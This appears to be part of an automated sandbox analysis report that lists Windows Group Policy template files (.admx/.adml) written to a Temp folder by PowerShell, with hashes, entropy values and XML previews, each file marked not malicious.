Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Scripted Diagnostics</displayName>.. <description>Scripted Diagnostics</description>.. <resources>.. <stringTable>.. <string id="ScriptedDiagnosticsCategory">Scripted Diagnostics</string>.. <string id="ScriptedDiagnosticsSecurityPolicy">Configure Security Policy for Scripted Diagnostics</string>.. <string id="ScriptedDiagnosticsSecurityPolicyExplain">This policy setting determines whether scripted diagnostics will execute diagnostic packages that are signed by untrusted publishers.....If you enable this policy setting, the scripted diagnostics execution engine validates the signer of any diagnostic package and runs only those signed by trust

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\srm-fci.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (472), with CRLF line terminators
Category:	dropped
Size (bytes):	7668
Entropy (8bit):	4.73074137043816
Encrypted:	false
SSDEEP:	96:wNa+/IQexYsInNwFxpeHe+zpoDQzwvU9Q7nwefXvU9Q7HTV:G/In5xpe++zpoDhv8w/v80
MD5:	7B04E3F4356B26D851628246DAC94705
SHA1:	AB5AC1954A3652BCB12946B607C2B1F4D876DA21
SHA-256:	E6F4193F29666226D72365C364E473F1F9DEB47405DFEDCA38A215EB61FFF967
SHA-512:	E1A0C7A200AEDCD3FB55E64BF67A0EE9EED91C0632C178A54FA98E20D9B4C32680F17900BC66017FEF3F595A6FCA06624B2C0CF7D5B4E8490C177F3AFAC1A414
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<policyDefinitionResources revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>File Classification Infrastructure Group Policy Definitions</displayName>.. <description></description>.. <resources>.. <stringTable>.. <string id="AdrCat">Access-Denied Assistance</string>.. <string id="FciCat">File Classification Infrastructure</string>.. <string id="EnableManualUXDisplay">File Classification Infrastructure: Display Classification tab in File Explorer</string>.. <string id="EnableShellExecuteFileStreamCheck">Enable access-denied assistance on client for all file types</string>.. <string id="EnableShellExecuteFileStreamCheck_Descr">This Group Policy Setting should be set on Windows clients to enable access-denied assistance for all file types</string>.. <string id="EnableManualUXExplain">This policy setting controls whether the Classification

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\tcpip.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (431), with CRLF line terminators
Category:	dropped
Size (bytes):	13466
Entropy (8bit):	4.782394839113498
Encrypted:	false
SSDEEP:	96:LeD5pmjKFPT4fv3EIrv3Iv/g8/vRzZxOkRvhRkKSbHw1cZICCHzBaTBeQqqL7tgA:E6fv3EWv3Ivo8Fn/nYwrqjvigA95Zy/D
MD5:	0B0DA2277FE7B257B26ED87E595CDCF5
SHA1:	5F790C95E1703A243F0678FDF521772811B4D352
SHA-256:	89EC65C0144936DE7A31B903D9A8DBD2E436FD098DE9AA91EAF164A5A8B6DB1B
SHA-512:	581018F7E5E6ACFBB4D7E8B6BDADCA26ABE829ED1E12AAF1B86FB70857DF9B2290056B3890E969A62DA027399FA4624E1B9478679B91632AD1CE12D1A09D0250
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>TCPIP Group Policy Template file</displayName>.. <description>This admx file describes policy template for TCPIP components</description>.. <resources>.. <stringTable>.. <string id="TCPIP">TCPIP Settings</string>.. <string id="Ipv6Transition">IPv6 Transition Technologies</string>.... <string id="ISATAP_State">Set ISATAP State</string>.. <string id="ISATAP_Router_Name">Set ISATAP Router Name</string>.. <string id="6to4_State">Set 6to4 State</string>.. <string id="6to4_Router_Name">Set 6to4 Relay Name</string>.. <string id="6to4_Router_Name_Resolution_Interval">Set 6to4 Relay Name Resolution Interval</string>.. <s

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\wlansvc.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1977
Entropy (8bit):	4.903195660648944
Encrypted:	false
SSDEEP:	48:cwD5x8gmipnasavWANaqwDtCsiFsaMQnV:lD5pmipasavWuaqwhsFsaM0V
MD5:	13E20C78E89E7FC58934BCFF584E12A1
SHA1:	52DCC829C427CE609034C9106460C7734BEBD3ED
SHA-256:	A59E2ED355AC803474C9EF02A60076BB98ADBB33AD6AA6884AB1B4850BAC4C02
SHA-512:	14C6DB1DCB97692D561C961A5A1A5F0F25BC6CC3CB28DC878CD46296339E16C36BA8A364BE4F80A42D2C27725BECDED3020DC68BE820F0343FE92A961F018966
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2010 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>WLAN Service Group Policy Settings</displayName>.. <description>WLAN Service Group Policy Settings</description>.. <resources>.. <stringTable>.. <string id="WlanSvc_Category">WLAN Service</string>.. <string id="NetworkCost_Category">WLAN Media Cost</string>.. <string id="SetCost">Set Cost</string>.. <string id="SetCost_Help">This policy setting configures the cost of Wireless LAN (WLAN) connections on the local machine.....If this policy setting is enabled, a drop-down list box presenting possible cost values will be active. Selecting one of the following values from the list will set the cost of all WLAN connections on the local m

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\wwansvc.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2971
Entropy (8bit):	4.817228267034193
Encrypted:	false
SSDEEP:	48:cwD5x8gmL0PfvW8N0qwDtCsiFcs2mANRqwDtCsiFnMlpV:lD5pmL0PfvWq0qwhsFcs2muRqwhsFnM1
MD5:	761AF87D50F53F0CE9947B5D486C30FA
SHA1:	DC926F9449848CCE778326607BD4787ED6C80A01
SHA-256:	8F1F6C7509F5C7C27B8F6E5DCF81FB8C02AE3FFEE825F6CFA4171A712BE018D4
SHA-512:	ECCF653D5935C3777F14F08C0F5318B927E230C08AAA09DEBFD09ACA23A27B0887FE94A8670B635FD7D7B6ACCF3D3DFED2BFBCD02298A5B58089D66219A7E366
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2010 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>WWAN Service Group Policy Settings</displayName>.. <description>WWAN Service Group Policy Settings</description>.. <resources>.. <stringTable>.. <string id="WwanSvc_Category">WWAN Service</string>.. <string id="NetworkCost_Category">WWAN Media Cost</string>.. <string id="SetCost3G">Set 3G Cost</string>.. <string id="SetCost3G_Help">This policy setting configures the cost of 3G connections on the local machine.....If this policy setting is enabled, a drop-down list box presenting possible cost values will be active. Selecting one of the following values from the list will set the cost of all 3G connections on the local machine:....

C:\Users\user\AppData\Local\Temp\file\Resource\hotspotauth.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1316
Entropy (8bit):	5.175584685183387
Encrypted:	false
SSDEEP:	24:JdwDwjo8gWt4+3FpKtl6f6Q0s6fE3+dK9lKknpKjcp/CGVzLLnbuF+2hJJo:3wDw08gmDVf6QofHKnKkp5B/pLLbWq
MD5:	ECEEB6A783690EEB9927EC5173A73306
SHA1:	3FCFD97B1F3F6B75524388E01C1B3C1113CB7176
SHA-256:	97A8F5335F3A2476557C84197ECE41C8EFEC8C55BE8371F8890948ABA0B9CF55
SHA-512:	3A214A6D2494892521FBF80B1A668B204596FEED7EA315416F345E9E67235C9A2D7D50469E2CFE69AC20CA41B205F48F4903338B19B90D547B5C6C9162175F7C
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2010 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="hotspotauth" namespace="Microsoft.Policies.HotspotAuthentication" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="HotspotAuth_Category" displayName="$(string.HotspotAuth_Category)">.. <parentCategory ref="windows:Network" />.. </category>.. </categories>.. <policies>.. <policy name="HotspotAuth_Enable" class="Machine" displayName="$(string.HotspotAuth_Enable)" explainText="$(string.HotspotAuth_Enable_Help)" key="Software\Policies\Microsoft\Windows\HotspotAuthentication" valueName="Enabled">..

C:\Users\user\AppData\Local\Temp\file\Resource\iSCSI.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	6868
Entropy (8bit):	5.129766729868929
Encrypted:	false
SSDEEP:	96:QeD/mDVHovKnKNK7Kc+pfK6g537RdQ7Odq70dG7Ud77wEd+Rv47yDEdUkQn789d6:vYFz+pNgpcJnMwjRvsyDnkQ783jxOx
MD5:	9EEF494A43C860A31D2887CAF115B705
SHA1:	04198BBD9ADCC467252D11FE1A31447F8D345D75
SHA-256:	819743DDDA24EB9907E3BB8CE5F54ED3DF65FC0B6F2F944A5457953EE0473AF2
SHA-512:	2FCA926CF1F95E45A46F1C38B4CF397EDFC536F601921A3F5EA43CCAC573D1100135CE015FE7E89114D4D0491023D5E0C8B688A1434D977AFC63B048B20A5BDF
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="iscsi" namespace="Microsoft.Policies.iSCSI" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="iSCSI_Category" displayName="$(string.iSCSI_Category)">.. <parentCategory ref="windows:System" />.. </category>.. <category name="iSCSIDiscovery_Category" displayName="$(string.iSCSIDiscovery_Category)" explainText="$(string.iSCSIDiscovery_Help)">.. <parentCategory ref="iSCSI_Category" />.. </category>.. <category name="iSCSIGeneral_Category" displayName="$(string.iSCSIGeneral_Category)" explainT

C:\Users\user\AppData\Local\Temp\file\Resource\inetres.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (309), with CRLF line terminators
Category:	dropped
Size (bytes):	1678023
Entropy (8bit):	4.647506869722607
Encrypted:	false
SSDEEP:	3072:0wQADKm6VNTp6qpxFwFVSl9t4VpR+4Mlu8ROYg1V:eWPq3yrvMD8Yg1V
MD5:	39F0D8DBBE07170C55FF82FF6E0F137E
SHA1:	9968C17E869250DE0BFB2353362FF981B1152B9C
SHA-256:	5B9D8F4735A3BFC022542F617C2FD77DBE4B0BFBB506D51E1ED0ADF896155356
SHA-512:	9F27DD0E757CC4B8A6C3E83E4044068440547380FA91D1580B00F1B62F07822376744EE65BB5EAFDDC4A35B6048B8F32209D00766F88BF09DF9847053C1DF3C3
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="11.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="inetres" namespace="Microsoft.Policies.InternetExplorer" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="products" namespace="Microsoft.Policies.Products" />.. </policyNamespaces>.. <supersededAdm fileName="inetres.adm" />.. <resources minRequiredRevision="11.0" />.. <supportedOn>.. <definitions>.. Only Internet Explorer 5.0 and Internet Explorer 6.0-->.. <definition name="SUPPORTED_IE5_6" displayName="$(string.SUPPORTED_IE5_6)">.. <or>.. <range ref="products:InternetExplorer" minVersionIndex="5" maxVersionIndex="6"/>.. </or>.. </definition>..

C:\Users\user\AppData\Local\Temp\file\Resource\kdc.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (319), with CRLF line terminators
Category:	dropped
Size (bytes):	4650
Entropy (8bit):	5.035551868916329
Encrypted:	false
SSDEEP:	96:QeD/mDQIovKnK75DmSxdIS9MGweOS11IS5Gw0/M1CScGwiSQo1P1SFAG:vYLAd3tCef1TP00J8jRyl
MD5:	2AF259C23535C7D28FE3DDB905946F29
SHA1:	E73FC86257A2CD49DE99072D2EAA19F143854BDE
SHA-256:	518B39AD75AEC993B9E48733F1B3C38EF131C94B240ABC2449C0573EDDCA5D2A
SHA-512:	C9828FB477511B6986A830CC7BCF1B2405ECB35970D5CC411ED558F1A300603BADA8008F1A7CD2F55EBCEF2DFA9B92F3204E5CA5827C68F585EB9573E63443D8
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="KDC" namespace="Microsoft.Policies.KDC" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="KDC" displayName="$(string.KDC)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="emitlili" class="Machine" displayName="$(string.emitlili)" explainText="$(string.emitlili_explain)" .. key="Software\Microsoft\Windows\CurrentVersion\Policies\System\KDC\Parameters" valueName="EmitLILI">.. <parentCategory ref="KDC" />.. <supportedOn ref="windows:S

C:\Users\user\AppData\Local\Temp\file\Resource\msched.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	5.085533188238036
Encrypted:	false
SSDEEP:	48:cgeDw08RDKfLIvofHKnKu+RKQ5m8RtwIBqilwvw121IJlPwIBqi1GwRa1jqlDwIA:LeD8DKeovKnKF5TqYwvw1nlAOGwRa1uC
MD5:	96D22E893DFB610E2FCBF06487747388
SHA1:	99A792CAA380276F43687B2AC36F42585D642C77
SHA-256:	295ED67096DFF66228E1069FE6F6435F829A7172983C49906F7FFD4A3E210CC0
SHA-512:	2BF1485D0E5907EAB1D472364C35BA7EAF51F4A9CD3DDAE64770FDCC3C8B2729A5D2E0684D058DF7F8B9C5015EBDF7FFBC65C1A7FD9F402615164F66A40EA27C
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" .. revision="1.1" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="msched" namespace="Microsoft.Policies.MaintenanceScheduler" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="MaintenanceScheduler" displayName="$(string.MaintenanceScheduler)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="ActivationBoundaryPolicy" class="Machine" displayName="$(string.ActivationBoundary)" explainText="$(string.ActivationBoundaryHelp)" presentation="$(presentation.ActivationBoundaryPolicy)" key="S

C:\Users\user\AppData\Local\Temp\file\Resource\nca.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5215
Entropy (8bit):	5.086094108499692
Encrypted:	false
SSDEEP:	96:QHHoWKnKKX2mewF99KQjews9ABKC9AyM9dSE91ysewt4xnOYgw5XEqaE87wICRl:QnYbD9BMkrSrn+xnzBEqtRl
MD5:	1B66BD19C277CDABA812478DE7C0BAB1
SHA1:	95C48B9A1F7B3A91892A2D51FF912EAB778D36F0
SHA-256:	3634538DE95D6878F6022798836E0B04F4294812F8944C3EE615D38DE01659CD
SHA-512:	E54DC3944A7BAEC47A99EA0969131B9C6107CA2A1F2B0D2529E2CE14DF80AB051484BF2F0F029FD6F104FFC3DE1F350DB5DDB939F6A720716FA7AFEEECA2E1CD
Malicious:	false
Preview:	<policyDefinitions revision="1.0" schemaVersion="1.0">.. <policyNamespaces>.. <target prefix="NetworkConnectivityAssistant" namespace="Microsoft.Policies.NetworkConnectivityAssistant" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <supportedOn>.. </supportedOn>.. <categories>.. <category name="NetworkConnectivityAssistant" displayName="$(string.NCA)" explainText="$(string.NCA_Help)">.. <parentCategory ref="windows:Network" />.. </category>.. </categories>.. <policies>.. .. <policy name="SupportEmail" class="Machine" displayName="$(string.SupportEmail)" explainText="$(string.SupportEmail_Help)" presentation="$(presentation.SupportEmail)" key="SOFTWARE\Policies\Microsoft\Windows\NetworkConnectivityAssistant">.. <parentCategory ref="NetworkConnectivityAssistant" />.. <supportedOn ref="windows:SUPPORTED_Windows7" />.. <elements>.. <text id="SupportE

C:\Users\user\AppData\Local\Temp\file\Resource\pca.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (406), with CRLF line terminators
Category:	dropped
Size (bytes):	9678
Entropy (8bit):	5.048984680489818
Encrypted:	false
SSDEEP:	192:vYpu2Jx6X6jJLcVhkGLJVhwhLMVhcuufLKhcwryr4:AP6X6dLcVhvLJVhoLMVh4fLKhjryr4
MD5:	0ABFE09E86CBAF074C2A6EFC603720EB
SHA1:	9291FD7531E839342A0A010589E637B15D6C0AB6
SHA-256:	13A96DCBA9CC049DBEEBA890C8D4845CDDF7D9307395FFC98F0C8A4FAA0B9E71
SHA-512:	05132B9E0FFB36B9FD964A42878997953EBDB83D2357D5D9887992D4C5C445D4A4132D754F2820A336B48834C72B7C42AF09BE24E6BE4E52DB059464CF3DD074
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="pca" namespace="Microsoft.Policies.ApplicationDiagnostics" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.... <categories>.. <category name="PcaScenarioCategory" displayName="$(string.PcaScenarioCategory)">.. <parentCategory ref="windows:Troubleshooting" />.. </category>.. </categories> .... <policies>.... Begin disable PCA UI definition -->.. <policy name="DisablePcaUIPolicy" class="Machine" displayName="$(string.DisablePcaUIText)" explainText="$(string.DisablePcaUIExplain)" key="Software\Policies\Microsoft\Windows\Ap

C:\Users\user\AppData\Local\Temp\file\Resource\sdiageng.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2519
Entropy (8bit):	5.1006174642094075
Encrypted:	false
SSDEEP:	48:3VDw08gmDtAfKofHKnKm55IsEXCXBd4UEfXBdNw17NXOXBq:FD/mDtAyovKnKC5nEXKd9EJdc7Neq
MD5:	8BCE4667D0C7EF7B8C2A67AD0C7CB0FB
SHA1:	34B32874284F5B21E170053C609E6996B8F11896
SHA-256:	872A02DEBED178F5332F016C2DDA59F92EB32B624264334C360FD996A21A5536
SHA-512:	B7006F163BCF35F04FD6CB19D2A62176130F4538E3BC33FDE08738783C65E912B0F5DEC2BF87BD8C1C1FDC9CF6B042DD8122250DFEF5C2976372A3BC195D6BE7
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="scripteddiagnostics" namespace="Microsoft.Policies.ScriptedDiagnostics" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="ScriptedDiagnosticsCategory" displayName="$(string.ScriptedDiagnosticsCategory)">.. <parentCategory ref="windows:Troubleshooting" />.. </category>.. </categories>.. <policies>.. <policy name="ScriptedDiagnosticsSecurityPolicy" class="Machine" displayName="$(string.ScriptedDiagnosticsSecurityPolicy)" explainText="$(string.ScriptedDiagnosticsSecurityPolicyExplain)" key="SOFTWARE\Polic

C:\Users\user\AppData\Local\Temp\file\Resource\srm-fci.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (323), with CRLF line terminators
Category:	dropped
Size (bytes):	3544
Entropy (8bit):	5.112894658541452
Encrypted:	false
SSDEEP:	96:dfG2oFKXK/KlSM/8LKuwTH1XesG+w8crFvVwD9VaSFns61klL:Br6r4THRbC8crFvVwpVRFns6qL
MD5:	B1433D2594DFACEB0231A7B0288176E9
SHA1:	676D71632B5504364A46CDE61F31580FE63086C5
SHA-256:	89A43BC6033180BEF0E9C8A57B83182050FF2EF124713A9A00A187A5547233FF
SHA-512:	30EF93693179914BB116138D80768650D5FBB83E7C78EBB44AA3E533658427007C82338CF019FC5E2E2D96FA7A2A695A21DDE6BA185F82C6EF419AC6AF064C4E
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<policyDefinitions xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions" revision="1.0" schemaVersion="1.0">.. <policyNamespaces>.. <target prefix="fci" namespace="Microsoft.Policies.FileServerClassificationInfrastructure"/>.. <using prefix="windows" namespace="Microsoft.Policies.Windows"/>.. </policyNamespaces>.. <resources minRequiredRevision="1.0"/>.. <categories> .. <category name="ADR" displayName="$(string.AdrCat)"> .. <parentCategory ref="windows:System" /> .. </category> .. <category name="FCI" displayName="$(string.FciCat)"> .. <parentCategory ref="windows:System" /> .. </category> .. </categories> .. <policies>.. <policy name="EnableManualUX" class="Machine" key="SOFTWARE\Policies\Microsoft\Windows\FCI" valueName="EnableManualUX" displayName="$(string.EnableManualUXDisplay)" explainText="$(string.EnableManualUXExplain)">.. <parentCategory ref="FCI" />.. <supp

C:\Users\user\AppData\Local\Temp\file\Resource\tcpip.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (377), with CRLF line terminators
Category:	dropped
Size (bytes):	10634
Entropy (8bit):	5.085687354113067
Encrypted:	false
SSDEEP:	192:sYXWk9FwEvOkUFPEWFF6wkCdgTKUQuQXgfkm8kveXDXRNm:gk7wEvOkgPEWFF6wkmgTKUQuQXgfkm8+
MD5:	27E7FA51D11CEFB156FD72630A31FD9B
SHA1:	FF4B5F9DD518380DA96064D971B613C350C00698
SHA-256:	F5B4275E4ADAE51EAD17B66F2BD72F661305D6965DF25D29991D3710BD5C6B97
SHA-512:	24FC6FEBCB81B88F50E9FFEE9B69F1F30A0FA3CC1B0E1C1D5C28E72B4804C9E55532D5550B4096A5C7772645B3C45FCADC3BE3C352C2EFEE7D77B7CFCC13F6E6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="tcpip" namespace="Microsoft.Policies.TCPIP" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0"/>.. <categories>.. <category name="TCPIP" displayName="$(string.TCPIP)">.. <parentCategory ref="windows:Network" />.. </category>.. <category name="Ipv6Transition" displayName="$(string.Ipv6Transition)">.. <parentCategory ref="TCPIP" />.. </category>.. <category name="Parameters" displayName="$(string.Parameters)">.. <parentCategory ref="TCPIP" />.. </category>.. </categories>.... <policies>.... <policy name="ISATAP_State

C:\Users\user\AppData\Local\Temp\file\Resource\wlansvc.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1924
Entropy (8bit):	4.942928601303322
Encrypted:	false
SSDEEP:	48:cwDw08gmDGfaofHKnKEZKYn5FQ0YNgwGUV:lD/mDGyovKnKiKs5vfwGUV
MD5:	5E91AB87CFCFAFF4EE2DF1DE9F56AEC9
SHA1:	5E1CC79F0C019A2707B0A8C71016A0A29C2E0BF6
SHA-256:	683522392F9EFBF5AA9EC0D494CC77F3B430BCB2AA93CDA36002368BA9744B30
SHA-512:	3A4AFF0419F8A0B1A92170CFD71BC1D06D40B4410B350D4071AEDCBF9BAB095FE8D0EA0D83BFA821D8EE9649C22A3786E29E60F0B8AD363AD04FC6A8A721D23C
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2010 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="wlansvc" namespace="Microsoft.Policies.WlanSvc" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WlanSvc_Category" displayName="$(string.WlanSvc_Category)">.. <parentCategory ref="windows:Network" />.. </category> .. <category name="NetworkCost_Category" displayName="$(string.NetworkCost_Category)">.. <parentCategory ref="WlanSvc_Category" />.. </category>.. </categories>.. <policies>.. <policy name="SetCost" class="Machine" displayName="$(string.SetCost)" explainText="$(string.SetCost

C:\Users\user\AppData\Local\Temp\file\Resource\wwansvc.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2927
Entropy (8bit):	4.894068756658795
Encrypted:	false
SSDEEP:	48:cwDw08gmD9fbofHKnK0ZKYQ5nDqaNgw02tykqaNgwJP6:lD/mD9jovKnKyKD5DqJw02tBqJwJP6
MD5:	D678FA20D6119E611D2866830FE02668
SHA1:	93412A379B31D0B26A2A9FD3C2726EE42DC52EE3
SHA-256:	A9E3A282B770C3A69078F3F87CE3251AEE637A6458874F0F813DBCA51F35D70B
SHA-512:	F6133CAC994B513ECB05C8CF8009D05B3C4163B08C9EEEEA728A0634B3620085EDD479BE227B351E77249F7486079E445949C26B6F9E8577DCDA8EF753C5EE0A
Malicious:	false
